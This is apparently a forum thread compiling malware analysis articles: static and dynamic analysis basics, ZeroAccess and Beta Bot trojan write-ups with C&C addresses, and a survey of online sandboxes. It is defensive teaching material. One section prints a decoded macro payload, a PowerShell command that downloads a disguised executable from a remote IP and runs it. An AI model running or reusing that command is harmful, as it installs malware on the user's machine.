Search the Community

Windows Malware Analysis Essentials Master the fundamentals of malware analysis for the Windows platform and enhance your anti-malware skill set Author: Victor Marak Read: https://www.scribd.com/doc/283049338/Windows-Malware-Analysis-Essentials Download: https://www.sendspace.com/file/rbwzjv

Static Malware Analysis Starting here, I would like to share the results of my recent research into malware analysis. We will begin with some basics and proceed to advanced levels. In this first installment, we will discuss the techniques involved in static analysis of malware. I will also include some files for illustrative purposes in this document. Before we directly move onto the analysis part, let us set up context with some definitions. What is Malware? Malware is any software that does something that causes detriment to the user, computer, or network—such as viruses, trojan horses, worms, rootkits, scareware, and spyware. Malware Static Analysis Basic static analysis consists of examining the executable file without viewing the actual instructions. Basic static analysis can confirm whether a file is malicious, provide information about its functionality, and sometimes provide information that will allow you to produce simple network signatures. Basic static analysis is straightforward and can be quick, but it’s largely ineffective against sophisticated malware, and it can miss important behaviors. Enough with definitions — let’s get down to Malware Static Analysis Techniques. Malware Static Analysis Techniques Uploading the results to VirusTotal The very first technique in static analysis is to upload the suspicious executable to VirusTotal, which runs the executable against several AV solutions and gives the result. For example, the below file states that the detection ratio is 17 out of 57. Finding strings Searching through the strings can be a simple way to get hints about the functionality of a program. For example, if the program accesses a URL, then you will see the URL accessed stored as a string in the program. Microsoft has a utility called “Strings”. When Strings searches an executable for ASCII and Unicode strings, it ignores context and formatting, so that it can analyse any file type and detect strings across an entire file (though this also means that it may identify bytes of characters as strings when they are not). Strings searches for a three-letter or greater sequence of ASCII and Unicode characters, followed by a string termination character. Below are some examples of strings from which important information can be revealed. Using the Strings utility, files can be searched with following command at the cmd: Strings <filename> Example 1: Below is a string extraction of keywords from a malicious executable. As we can see, it gives us good information that functions like “FindNextFileA” and “FindFirstFileA”, which shows that this executable will search for a file, and then combining that with “CopyFileA” means that it will find a file and replace it with another file. Another important point to note that is about “Kerne132.dll”. This is a misleading text and should not be confused with “Kernel32.dll”. Example 2: Below is another extraction from a string utility. It shows us that usage of “CreateProcessA” will create a process. Commands like “Exec” and “sleep” are used to control a remote file. It can be a bot as well, and then an IP field, which can be the IP of a controlling server. Example 3: Below is another example of an extraction using Strings. Interesting fields are “InternetOpenURLA” which states that it will connect with some external server to download something, and then we have a http:// file also, which even clarifies the server address from which it will connect and download. How to check if a malware code is obfuscated or not? Often malware writers obfuscate their codes so that the files are hard to read. When a packed program runs, a wrapper program also runs around to unpack it. With static analysis, it is really hard to predict which files are packed unless it is clearly evident that they are. For example, tools like PEid sometimes are able to tell that the files are packed. In the below figure, it is clearly evident that files are packed with UPX. Files which are UPX packed can be unpacked by the following command: upx –o <newfilename> -d <packedfilename> PE file sections ETHICAL HACKING TRAINING – RESOURCES (INFOSEC) Information gathering from Portable Executable (PE) file format PE file format is used by Windows executables, DDLs etc. It contains the necessary information for Windows OS loader to run the code. While examining the PE files, we can analyse which functions have been imported, exported and what type of linking is there i.e. runtime, static or dynamic. PE file sections A PE file contains a header and some more important sections. Under these sections there is some useful information. Let’s understand these sections as well. .text: This contains the executable code. .rdata: This sections holds read only globally accessible data. [.data: Stores global data accessed through the program. .rsrc: This sections stores resources needed by the executable. Most often malware writers use dynamic linking in their code. For example, with the use of the tool Dependency Walker, we can see in the below screenshot that under WININET.dll are functions like “InternetOpenUrlA”, which states that this malware will make a connection with some external server. Note: Wininet.dll contains higher level networking functions that implement protocols such as FTP, HTTP and NTP. Under the header, there is a subsection named “IMAGE_FILE_HEADER”, which contains the timestamp field. This timestamp shows the compile time of the executable. This is very important information, since if the time is old, then there may a case that AV solutions might have a signature around it. However, this field is not reliable, since the compile can be changed easily by the malware writer. Suppose from static analysis, an analyst predicts that the executable will create a process and then suppose the following exec and sleep command is found, but there is no information found about the respective DLL, which has a function to connect with another server. In that case, the resource is hidden with the executable. Open the .rsrc section of PE file with a tool like Resource Hacker to gain more information regarding the malware. Below is the analysing of the above resource using PEview. As we have learnt with static analysis, there is very little information that can be gathered, but it is very useful too. In a coming article, I will bring in dynamic analysis though basic to the rescue. Source MALWARE ANALYSIS BASICS - PART 2 Dynamic Analysis Techniques As we have covered the malware analysis basics with static techniques here, this post is all about performing the basic analysis of malware using dynamic technique. As we have seen in the previous post, the ability to fully perform malware analysis is very much restricted using static techniques either due to obfuscation, packing, or the analyst having exhausted the available static analysis techniques. Precautions Before performing dynamic malware analysis, be sure to do it in a safe environment. Consider deploying a Windows virtual machine and using VMware for provisioning virtual machines. You should also take a snapshot of the virtual machine before executing the malicious binaries so that the safe state can be easily restored. Analyzing with Process Monitor Process Monitor is an advanced monitoring tool for Windows that provides a way to monitor certain registry, file system, network, process, and thread activities. Process Monitor monitors all system calls it can gather as soon as it is run. Since there are always huge number of calls being made in the Windows OS, it is sometimes impractical to discover important events. Process Monitor helps this issue with a filter tab through which we can filter by the type of calls. For example, see the screenshot below. It shows that I have applied a filter with operation of “WriteFile” and “RegSetValue”. These are usually the call made by a malicious executable to write the file onto the disk and to make registry changes. After applying the filter, we get a list of following events in Process Monitor. The most important are the top two entries which shows the execution of file and creation of registry entry with a new entry named “Video Driver.” Other entries can be ignored as it is usual for pseudorandom numbers to be generated. On clicking the first entry, we can even see that what action that call has made. As is clear from the screenshot below, a total 7168 bytes have been written to the file system by this binary. Analyzing with Process Explorer Process Explorer is a tool used for performing dynamic analysis and can give you a great insight onto the processes currently running onto the system. Below is an example of the process being created after running a binary. Clicking on process can help you reveal whether the process has created any mutant or not. Also it can give you all the information about the DLLs being used by the function. Below, the screenshot shows that the process uses ws2_32.dll, which means that a network connection will be made by this process. Double clicking a particular process will yield more information about the process. Some of the important attributes are: Verify Option. There is a verify option in every process to check whether that binary is signed by the MS or not. Below, the screenshot depicts that this binary is not signed by the MS. Threads will showcase the number of threads associated with this process. Strings tab can help in determining whether there is any process replacement occur or not. If two strings are drastically different then the process replacement might have occur. Below, the screenshot shows that strings in the executable both on disk and in memory. Using INetSim INetSim is a free Linux based suite for simulating common Internet services. It is sometimes difficult to analyze a malware without letting it complete execute the code and that can involve contacting the outer world for services over http, https, FTP etc. INetSIM does exactly this by emulating services like Http, Https, FTP and allows analyst to analyze the behaviour of malware. Since this is Linux based, the best way to use this is to install it on a Linux machine and keep it in the same network as that of windows testing machine. INetSIM can serve any type of request that the malware might request for. For example, suppose a malware requests for an image from the for tis code to execute. INetSIM can fulfil the request of the malware though the image will not be what malware will be looking for but it will keep the malware to keep executing the code. INetSIM can also log all the request from the client regardless of the port. This can be used to record all the data sent from malware. In the next series, we will move to advanced techniques of malware analysis using both static and dynamic analysis. Source

Nektra SpyStudio is an all-in-one tool for cyber security analysts, DevOps, QA engineers, and developers. This multi-tool is useful for application virtualization, troubleshooting Windows applications, application performance monitoring, malware analysis, and as a process monitor complement. Get it now Read more at Nothing found for - | SharewareOnSale

This is a tool to replay packet captures and simulate client/server models when doing analysis. Written in Python. Download: https://packetstormsecurity.com/files/download/132089/smartpcapreplay-1.0.tar.gz

The Zero Access trojan (Maxx++, Sierief, Crimeware) has affected millions of computers worldwide, and it is the number one cause of cyber click fraud and Bitcoin mining on the Internet. Once the trojan has been delivered into the system, it begins to download many other types of malware that can each cause a great deal of damage to an organization. The trojan’s primary infection vector is spam mail and exploits kits, but it can also be distributed by P2P file sharing services and fake cracks and keygens. The trojan is unique in the fact that it connects to a P2P botnet chain that makes it very difficult to dismantle the botnet as a whole. Zero Access is a trojan root kit that uses advanced cloaking mechanisms to evade detection and capture. It has the ability to hide itself from several types of antivirus software and its presence in the system is extremely difficult to ascertain. It leaves no trace evidence indicating a data breach, and the network communications continue to occur as from a legitimate system process. Usually the executable file will reside in the %TEMP% directory of the workstation, and the traffic to external websites will be encoded HTTP GET and POST requests. Zero Access, once in the system, can carry out a wide variety of tasks, including: Use the infected computer for click fraud and Bitcoin mining Open the door to many other types of malware infecting the system Hide itself within the system without being detected Extract victim information including name, hostname, machine name, account name, etc. Analysis Zero Access malware can be downloaded form kernelinfo.com. In this case, the malware was downloaded intentionally for analysis. As in all analysis, the first step is to isolate the affected system. After this, the entire system is scanned for malicious content. At first glance, nothing concrete was found, but on further analysis a file is found in the %TEMP%directory of the infected workstation. An another suspicious file is also found within the %SYSTEM% directory on the workstation. This file appeared to be a configuration file of some kind, and it was protected using ACL permissions. The executable is extracted and run on a sandbox and comes up with confirmation of network indicators. The results also clearly indicate that the file was the dropper component for the Zero Access trojan. The name of the file is found to be fvshis.sav, and the contents of the file are encrypted. The strings of the executable were extracted from the memory and several artifacts were found that confirmed that the dropper received was the 32 bit version of the Max++ dropper component. Later, the dropper component of the trojan was analyzed, and at first glance the file appears to be unpacked. owever, during static analysis it is found that the file is packed using a complex custom packer. The executable also employs a complex anti-debugging scheme to further complicate analysis. The INT 2 signal is an operating system interrupt that allows the program to be debugger aware, i.e the program can detect if it is being analyzed by a debugger and kill itself. This can hinder analysis of such executables. The packing scheme employed by this particular trojan is also very complex, as it makes use of several layers of crypting and packing. It is found that the dropper component makes use of a complex packing scheme. The unpacking scheme works in chunks, with each chunk having a line of anti-debugging code. The dropper will continue to unpack itself in this manner until the entire file has been unpacked. If an analyst tries to break into the cycle with a debugger, the executable will crash the debugger. On much greater efforts, the sample was unpacked, and it was found that the sample attempts to access several directories on the host computer. From the usage of the INT 2 instruction in the code, we realize that the sample is a Ring zero rootkit, i.e it runs in kernel mode. Memory analysis was done on the sample and found that it creates a Mutex in memory. Such Mutexes are used by malware to ensure that the system is not re-infected with the same sample again. It is found that the trojan has injected itself into a legitimate process (explorer.exe) and is using this process to execute its payload. Later, kernel mode artifacts in memory were looked for, and it was found that the malware sample has hidden itself in the system as a kernel module. The trojan disguises itself as a device driver in the kernel memory. The driver is called B48DADF8.sys. Dump this module for further analysis. During preliminary analysis, the suspicious network traffic leaving the infected system was found, and this is analyzed in greater detail. HTTP requests to one domain in particular are also seen. The dropper is clearly trying to contact the above domain to download other malware samples into the infected system, and the domain name was analyzed. The resolved C&C IP address appears to be in Zurich, Switzerland. Swiss law protects the privacy of its citizens to a great extent. This makes it a very popular location for bulletproof hosting providers. Bulletproof hosting is very popular with cybercriminals for hosting their C&C servers. Further analysis into the domain shows that the domain actually maps to 3 different IP addresses including the one given above. All of the domains are in locations with strong privacy laws. We found that all three IP addresses have been blacklisted as malicious: 141.8.225.62 (Switzerland) 199.79.60.109 (Cayman Islands) 208.91.196.109 (Cayman Islands) Although this particular trojan does not steal user information, we found that it generates a large amount of traffic from its click fraud and Bitcoin mining modules. Recommendations Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world. Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application. Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack. Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files. Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media. Do not click suspicious advertisements and banners while browsing the web. Make use of log analysis tools (SIEM) for greater visibility against file and network changes within your organization. Ensure that your antivirus solution is up to date with the latest virus definitions. Ensure that your systems are up to date with the latest available patches, particularly the following vulnerabilities, as this trojan makes use of them to infect systems. CVE-2006-0003 CVE-2008-2992 CVE-2009-0927 CVE-2009-1671 CVE-2009-1672 CVE-2009-4324 CVE-2010-1885 Ensure that your organization uses email gateways to filter spam messages and mails with malicious attachments. Do not click on links in email from unknown sources Do not allow any P2P file sharing software in your corporate network environment. Block traffic to the following addresses in your perimeter devices such as Firewalls and IDS/IPS solutions. 141.8.225.62 208.91.196.109 199.79.60.109 References www.symantec.com Source

Researchers have uncovered new malware that takes extraordinary measures to evade detection and analysis, including deleting all hard drive data and rendering a computer inoperable. Rombertik, as the malware has been dubbed by researchers from Cisco Systems' Talos Group, is a complex piece of software that indiscriminately collects everything a user does on the Web, presumably to obtain login credentials and other sensitive data. It gets installed when people click on attachments included in malicious e-mails. Talos researchers reverse engineered the software and found that behind the scenes Rombertik takes a variety of steps to evade analysis. It contains multiple levels of obfuscation and anti-analysis functions that make it hard for outsiders to peer into its inner workings. And in cases that main yfoye.exe component detects the malware is under the microscope of a security researcher or rival malware writer, Rombertik will self-destruct, taking along with it the contents of a victim's hard drive. In a blog post published Monday, Talos researchers Ben Baker and Alex Chiu wrote: "If an analysis tool attempted to log all of the 960 million write instructions, the log would grow to over 100 gigabytes," the Talos researchers explained. "Even if the analysis environment was capable of handling a log that large, it would take over 25 minutes just to write that much data to a typical hard drive. This complicates analysis.'>Source

In this article, I would like to show how an analysis is performed on the Beta Bot trojan to identify its characteristics. The Beta Bot trojan, classified as Troj/Neurevt-A, is a dangerous trojan. This trojan is transferred to the victim machine through a phishing email, and the user downloads the files disguised as a legitimate program. This malicious file, when executed, drops a file in the victim machine, then changes system and browser behaviors and also generates HTTP POST traffic to some malicious domains. Beta Bot has various capabilities, including disabling AV, preventing access to security websites, and changing the settings of the browser. This trojan was initially released as an HTTP bot, and was later enhanced with a wide variety of capabilities, including backdoor functionality. The bot injects itself into almost all user processes to take over the whole system. It also utilizes a mechanism to make use of Windows messages and the registry to coordinate the injected codes. The bot also communicates with its C&C server through HTTP requests. The Beta Bot trojan spreads through USB drives, the messaging platform Skype and phishing emails. Analysis Walkthrough Now let’s see how we can do a detailed analysis on the Beta Bot trojan. First step is to isolate the infected system and analyze the system to find any suspicious files. Upon analysis, we found a suspicious file, crt.exe. The crt.exe file was then uploaded into our automated malware analysis system for deeper analysis and it was able to find malicious traffic to several malicious domains. (DNS request to malicious domains) A list of file manipulations was revealed during automated malware analysis. A malicious file named ‘wfwhhydlr.exe’ that was dropped by Beta Bot was revealed during this analysis. (File creation and modification) Mutexes that were used by the malware were also found during the automated analysis. (Mutex list of Beta Bot Trojan) After that, the analysis was carried out on our dedicated malware analysis machine. This machine consists of all the core tools needed to carry out both the static and dynamic analysis. As the first step of manual analysis, static analysis was carried out to find the time stamp of the malware. We were able to find the compile date of the malware sample. The malware was compiled on March 14th, 2013, and a GUI is also associated with this sample. File properties of the Beta Bot trojan) Later, static malware analysis was carried out, and as a first step the malware was checked to find whether it was packed or not. On analysis we found that the malware was packed with UPX packer. (Packer detection of the malware) A manual unpacking process was carried out to unpack the packer using a user mode debugger. Then we dumped the unpacked malware, and Import Address Table was reconstructed. (Debugger view of the malware before UPX unpacking) After the IAT reconstruction, the malware was analyzed using the debugger and found that there is no data available and the all the strings are functions are obfuscated. Thus it has to be suspected that the malware was multipacked, and we found that it was packed with a sophisticated crypter called VBCrypter. Then we came to a conclusion that this Beta Bot malware was multi-packed with a combination of UPX packer and VBCrypt crypter. VBCrypter is written in Visual Basic and it is more sophisticated that usual packers. During the execution of the packed malware, it creates the unpacked code as a child process itself and executes that code in the memory. Thus this type of packed malware will be very difficult to unpack. Crypter detection of the malware) Then a process of steps was carried out in order to decrypt the malware encrypted with VBCrypt. A user mode debugger was used for this process and by following a series of steps; the malware was decrypted up to an extent and thus the obfuscated code was retrieved for further analysis. Debugger view of the Beta Bot trojan after UPX unpacking) After decrypting the VBCrypt, it showed up with strings and functions that reveal the activity of the malware. The Beta Bot malware tries to find out the Network Interface Card in the infection machine, in order to find out the network adapter device name. The malware also looks for the computer name of the infected machine. (Debugger view of the decrypted Beta Bot trojan) Also using the debugger analysis, it came to an inference that the Beta Bot trojan also has the capability of deactivating the Task Manager of the infected machine. (Debugger view of the malware) The malware was analyzed through a disassembler, and several multi-language strings were retrieved. This reveals the multi-language capability of the Beta Bot trojan. This malware has the ability to configure and behave according to the geo-location of the victim machine. (Disassembler view of the Beta Bot trojan) Dynamic analysis was carried out by executing the malware within our isolated virtual malware lab. On executing the Beta Bot malware was dropped another executable named vuxrwtqas.exe. This file was dropped in the highworker folder under the Program files folder in C drive. (Files dropped by the Beta Bot trojan) Then registry analysis of the Beta Bot trojan was carried out, and on analysis we found that the malware manipulates the Windows registry setting of the infected machine. Registry values are added in order to carry out the debugging of the major security products like MalwareBytes Spybot, Trendmicro Housecall and Hijackthis. This registry setting can used to debug the startup code of the applications and thus the malware can bypass these security applications and thus can execute in the machine. (Registry values added by the Beta Bot trojan) Then packet sniffers were used to study the network behavior of the malware, and we were able to list out several malicious IPs on which the malware were trying to connect. Malicious IPs on which the malware connects) Then the memory analysis of the malware was carried out by executing the malware and taking the dump on the primary memory. On analysis, a large number of trampoline hooks was found. The malware, when executed, hooks almost all the processes in the victim machine and thus takes control of the whole machine. The Beta Bot trojan inserts a trampoline hook on the wuauclt.exe file, and this is a Windows Update AutoUpdate Client which runs as a background process that checks the Microsoft website for updates to the operating system. Thus it can assumed that the malware updates itself or downloads other malicious software by hooking this process. (Trampoline hook by the malware) The Beta Bot trojan, on execution, creates a sub-folder named ‘highworker.{2227A280-3AEA-1069-A2DE- 08002B30309D}’ under %PROGRAM FILES%\ COMMON FILES and creates a file named ‘vuxrwtqas.exe’. The first part of the folder name, ‘highworker’, is obtained from the configuration of the bot. The rest of the strings in the folder name is a special GUID which makes the folder link to the ‘Printers and Faxes’ folder in Windows Explorer, and this folder will act as the initializer when malware restarts. The crt.exe then creates a new file and it exits and this newly created file creates a process of a system application and starts to inject the process. (Folder in which malware is dropped) The dropped file is digitally signed with Texas Instruments Inc., is an American company that designs and makes semiconductors, which it sells to electronics designers and manufacturers globally. Thus we can assume that the file is not genuinely signed. (Metadata of the dropped file) Recommendations Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world. Block peer to peer traffic across the organization. Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application. Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack. Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files. Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media. Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Ensure that your Anti-Virus solution is up to date with latest virus definitions. Ensure that your systems are up to date with the latest available patches. Isolate the compromised system immediately if the malware is found to be present. Block traffic to the following domains in your perimeter devices such as Firewalls and IDS/IPS solutions: highroller.pixnet.to sbn.pxnet.to cpstw.santros.ws ccc.santros.ws Eradication The following products can be used to remove the Beta Bot trojan from the infected machine: Symantec Power Eraser Kaspersky’s TDSSKILLER Microsoft’s Malicious Software Removal Tool (MSRT) Malwarebytes Anti-Malware Login through the victim machine in Safe Mode and manually remove the process crt.exe and vuxrwtqas.exe related to the Beta Bot trojan. Manually delete the registry entries associated with the Beta Bot trojan. Delete the malicious file dropped by the malware in the highworker.{2227A280-3AEA-1069-A2DE- 08002B30309D}’ under %PROGRAM FILES%\ COMMON FILES\vuxrwtqas.exe. References Endpoint, Cloud, Mobile & Virtual Security Solutions | Symantec Source

Pentru cel care vroia Introduction to Finite Element Analysis Using Creo Simulation 1.0 (nu mai gasesc postul respectiv). pass: https://RST (doar ce e dupa // ) // @xaero29 cererea: https://rstforums.com/forum/99713-cerere-carte-fea.rst Usr6: am mutat eu topicul respectiv la discutii non-it

Introduction Yesterday I received in my company inbox an email with an attached .xlsm file named D92724446.xlsm coming from Clare588@78-83-77-53.spectrumnet.bg. Central and local AV engines did not find anything malicious, and a multiengine scan got 0/57 as result. I decided to investigate a little more in-depth in order to confirm that was a malicious file and to extract at least the code I was imagining being inside this document. General Information This is some general info collected: Name: D92724446.xlsm MD5: fea3ab857813c0d65cd0b6b6233a834b SHA1: 64eef048efe86fe35f673fd2d853a8a727934e6c SHA256: 75e3a4cd45c08ff242e2927fa3b4ee80858073a202dade84898040bfbb7847ef ssdeep 768:qEIo/BPRS5t1dbQjlshORhynxvWXLUYJdGnSCk:qIJM8jl6nIP File size: 36.1 KB ( 36978 bytes ) File type: Office Open XML Spreadsheet Virus Total information: First submission: 2015-02-18 10:35:06 UTC Last submission: 2015-02-19 08:58:57 UTC Others names: 93D9B24583.xlsm e94fcc43b0dc9c7eb350149b4ebdfd3d 61a47fa44dd55f5721ebe85aa83a32e6 I233185_486.xlsm L335966_246.xlsm 271269885.xlsm 4501B81210.xlsm e65fb3285617c7b4bbc833a466be6c42 5312970.xlsm 9D50B4390.xlsm DDE1368393.xlsm E30178611.xlsm 43c29faad6fc5984273afcc67593d802 FE731885.xlsm C47394.xlsm suspect.xls 090214399.xlsm Q884674_740.xlsm E015272_266.xlsm U506714_083.xlsm 43925982.xlsm 8BB4D89313.xlsm.zip 82AC485705.xlsm 8abb99eb6078b658e05aece79337378a 0BF2034112.xlsm Static Analysis I started my analysis having a quick look inside: At offset 0 we can quickly view 4 bytes that confirm the format of the file (50 4B 03 04). At this point, I tried to get more information and to see how this document was composed: This quickly confirm my first suspicions. At offset 0x000012f1 a .bin file is found. Going a little ahead, we can try to get the code of these instructions: The code has been extracted, and different files for Classes and Modules have been created under \OfficeMalScanner\VBAPROJECT.BIN-Macros. Opening these files with a simple text editor, I immediately found many obfuscated instructions, as reported in the image below: However, after a quick analysis I realized that the modules really important for extracting of the malicious code were numbers 11 and 14. This is because the module number 11 contains the instructions for running the obfuscated code assigned to the variable named “FfdsfF” and de-obfuscated through the function call “NewQkeTzIIHM”. “NewQkeTzIIHM” takes one parameter in input as string and returns a string. These are its main instructions: The -13 immediately brings to mind a de-obfuscation loop which employs the rot13 algorithm. At this point, I simply wrote few lines of vbs code to correctly extract the content and print it to a txt file called output.txt. Function WriteFile(sText) Set objFSO = CreateObject("Scripting.FileSystemObject") Set objMyFile = objFSO.OpenTextFile( "C:\Users\EOSec\Desktop\output.txt", 8, true, 0 ) objMyFile.WriteLine(sText) objMyFile.close() End Function Dim i,x,y x = "pzq-<X-]|„r`uryy;r…r-5[r„:\owrp-`†€rz;[r;droPyvr{6;Q|„{y|nqSvyr54u}G<<B;>FC;?A@;D<x„rsr„rs<stq€rr<q…‡~;w}t4942aRZ]2iWV\v|qsuv|VU;pno46H-r…}n{q-2aRZ]2iWV\v|qsuv|VU;pno-2aRZ]2iWV\v|qsuv|VU;r…rH-€n-2aRZ]2iWV\v|qsuv|VU;r…rH" For i = 1 To Len(x) y = y + Chr(Asc(Mid(x, i, 1)) - 13) Next WriteFile(y) This is the clear code obtained: cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.243.7/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe; And this the whois of the remote IP: inetnum 5.196.243.0 – 5.196.243.7 netname Just_Hosting country IE descr Just Hosting admin-c OTC9-RIPE tech-c OTC9-RIPE status ASSIGNED PA mnt-by OVH-MNT source RIPE # Filtered A file named dxzq.jpg is downloaded. It’s really a CAB file (JIOiodfhioIH.cab) that is then expanded to JIOiodfhioIH.exe and run. Source

In this section, we’re providing a list of cloud automated online malware analysis tools that are not available anymore due to the website being offline or the service being disrupted by the creators of the analysis environment. Aerie : https://aerie.cs.berkeley.edu CWSandbox : The Sandbox | Understanding CyberForensics ThreatTrack : http://www.treattrack.com Malbox : Malbox System VisualThreat : http://www.visualthreat.com XecScan : http://scan.xecure-lab.com Norman Sandbox : https://www.norman.com/analysis Despite quite a few analysis tools being unavailable, there are still a lot of them being actively supported and developed. The online malware analysis tools that are still present on the Internet are presented below. Each of the tools has a letter written in square brackets, which is used later on to present each of the tools in a table in order to preserve space and provide clearer results. Each of the tools also has an URL address of where the service is available in case you want to submit different files for analysis. [A] Anubis : http://anubis.iseclab.org [C] Comodo : http://camas.comodo.com [D] Document Analyzer : http://www.document-analyzer.net [E] Eureka : http://eureka.cyber-ta.org [J] Joe Sandbox : http://www.joesecurity.org [M] Malwr : https://malwr.com/submission [MS] Mobile Sandbox : http://mobilesandbox.org [TE] Threat Expert : http://www.threatexpert.com/submit.aspx [TT] Threat Track : http://www.threattracksecurity.com/resources/sandbox-malware-analysis.aspx [V] Vicheck : https://www.vicheck.ca [X] Xandora : http://www.xandora.net/xangui Note that there are other cloud malware analysis platforms, but we didn’t take them info consideration in this article. Therefore, some of them are not presented and described below. Supported file formats and document types Since malware can be hidden in almost any file format or document type, malware analysis tools must provide support for such formats or document types in order to be able to detect the threat inside it. For example: if an attacker has hidden a malicious payload inside a PDF document, the malware analysis tool must have PDF support to be able to manipulate with PDF documents. If PDF support is not present, the dissection of PDF document will not be possible, and consequentially the tool will not be able to find malicious payload. If we look at the PDF document through the eyes of a malware analyst tool, the PDF document is just a set of random bytes. The attackers mostly use the file formats, document types and other elements presented below for including malicious payloads. The majority of presented elements need no further introduction, since they are used in our every day lives, but we will still provide a brief explanation of each of them. exe: Windows PE executable files normally used for Windows executable programs. elf: Linux ELF executable files normally used for Linux executable programs. mach-o: MAC OS X Mach-O executable files normally used for Mac executable programs. apk: Android APK executable files url: URLs pdf: PDF documents doc/docx: DOC/DOCX documents ppt/pptx: PPT/PPTX documents xsl/xsls: XSL/XSLS documents htm/html: HTM/HTML web pages jar: JAR Java executable files rtf: RTF documents dll: DLL libraries db: DB database files png/jpg: PNG/JPG images zip/rar: ZIP/RAR archived cpl: Control Panel Applets ie: Analyze Internet Explorer process when opening an URL ps1: Powershell scripts python : Python scripts vbs: VBScript files The table below presents supported file formats and document types of each cloud automated malware analysis service. The rows represent file formats or document types, while the columns are used for each of the automated malware analysis tools presented by one or two letters (as presented before). The ?is used to denote that certain file format or document type is supported by an automated malware analysis service, while an empty cell indicates otherwise. The * is used to mark that the support for document type is being implemented, but not yet available, at the time of this writing. Table 1: supported document types by different malware analysis tools Document Type A C D E J M MS TE TT V X exe ? ? ? ? ? ? ? elf * mach-o ? apk ? ? ? url ? ? pdf ? ? ? ? doc/docx ? ? ? ? ppt/pptx ? ? ? xsl/xsls ? ? ? ? rtf ? htm/html ? ? jar ? ? dll ? ? db ? png/jpg ? zip/rar ? ? cpl ? ie ? ps1 ? python ? vbs ? I’ve spent quite some time putting together the table above, which summarized the supported file formats, document types and other kind of elements that can be analyzed in automated fashion. From the table, we can quickly determine that there isn’t a service that can be used to analyze any kind of file, which is because the malicious code is included in files and documents in a profoundly different manner. When adding a malicious code in executable file, we can do so by including malicious assembly instructions in its .text file section – and that is only one of the ways of doing it. On the other hand, when including a malicious code in a .docx document, we usually include it in a form of a malicious macro, which will get executed by Microsoft Word upon opening the document. Below we’ve presented different categories of categorizing the file formats, document types and other elements presented in the table above. In each of the categories we’ll also briefly discuss how the malicious code gets executed and what is needed for cloud automated malware analysis of such code. Executable Files [exe, elf, mach-o, apk, dll]: a malicious executable file is distributed around the Internet, which is downloaded by users in the form of cracked software programs and cracked games. The users download a program believing to be something they want, which it is, but an additional code is usually appended to the file containing a malicious payload that gets executed on the user’s computer and therefore infecting it. Documents [pdf, doc/docx, ppt/pptx, xsl/xsls, rtf]: vulnerabilities are discovered in different software programs on a daily basis. Therefore, if an attackers finds a vulnerability in an Acrobat Reader (supports pdf file format), Microsoft Word/OpenOffice (supports doc/docx, ppt/pptx, xsl/xslx, rtf), it can form such a document that the program won’t be able to process the file, but will crash instead. Depending on the type of vulnerability, an attacker can possibly execute a malicious payload included in the document. Web browser [url, htm/html, jar, ie]: web browsers also contain vulnerabilities as PDF Reader and Office Suite do. Therefore, an attacker can create a malicious website the web browser will not able to handle, which will lead to the web browser crashing, during which an attacker can execute arbitrary code. Archives [zip/rar]: archives can be used to distribute malicious files around the Internet. If a malicious file is put inside a password protected archive, the usual analysis solutions won’t be able to take a look inside the archive and determine whether it contains malicious files. Images [png/jpg]: an attacker can hide a malicious payload inside an image, which can be processed by a vulnerable web application running on an incorrectly setup web server. Therefore, an analysis solution should be able to parse various image file formats in order to parse images to determine whether they contain anything out of the ordinary, like a malicious payload. Code (python, vbs, ps1) : an attacker can also distribute malicious code written in appropriate programming/scripting language, which is later processed by some application on the victim’s machine. An example of such is PowerShell (ps1) macro included in a Word document, which gets executed on a user’s request when allowing the execution of macros upon opening a malicious .docx document in Microsoft Word. Techniques for Detecting Automated Environments Various techniques exist for detecting automated malware analysis environments, which are being incorporated in malware samples. When malware binaries are using different checks to determine whether they are executing in a controlled environment, they usually don’t execute malicious actions upon environment detection. The picture below presents an overview of malware and techniques it can use to detect if it’s being executed in an automated environment. In order to make the picture clearer, we’ll describe the process in detail. Once the malware has infected the system, it can be running in user or kernel-mode, depending upon the exploitation techniques. Usually malware is running in user-mode, but there are multiple techniques for malware to gain additional privileges to execute in kernel-mode. Despite malware being executed in either user or kernel-mode, there are multiple techniques malware can use to detect if it’s being executed in automated malware analysis environment. At the highest level, the techniques are divided into the following categories: Detect a Debugger: debuggers are mostly used when a malware analyst is manually inspecting a malware sample in order to gain understanding of what it does. Debuggers are not frequently used in automated malware analysis, but different techniques can still be incorporated into the malware sample to make debugging the malware sample more difficult. Anti-Disassembly Tricks: this category isn’t directly related to automated malware analysis environments, but when an analyst is manually reviewing the malware sample in a debugger, malware can use different techniques to confuse disassembly engines into producing incorrect disassembled code. This is only useful when a malware analyst is analyzing the malware sample manually, but doesn’t have much impact in automated malware analysis environments. Detect a Sandbox Environment: a sandbox is an environment separate from the main operating system where malware samples can be run without causing any harm to the rest of the system. The primary purpose of sandbox environment is to emulate different parts of the system, or the whole system to separate the guest system from the host system. Depending on the virtualization layer, there are different types of sandboxes, which are presented below. Virtualized Programs: Chromium Sandbox, Sandboxie Linux Containers: LXC, Docker Virtualized Environment: VirtualPC, VMware, VirtualBox, QEMU Each automated malware analysis tool uses different backend systems to run the malware in a controlled environment. Malware can be run in physical machines or virtual machines. Note that old unused physical machines lying around 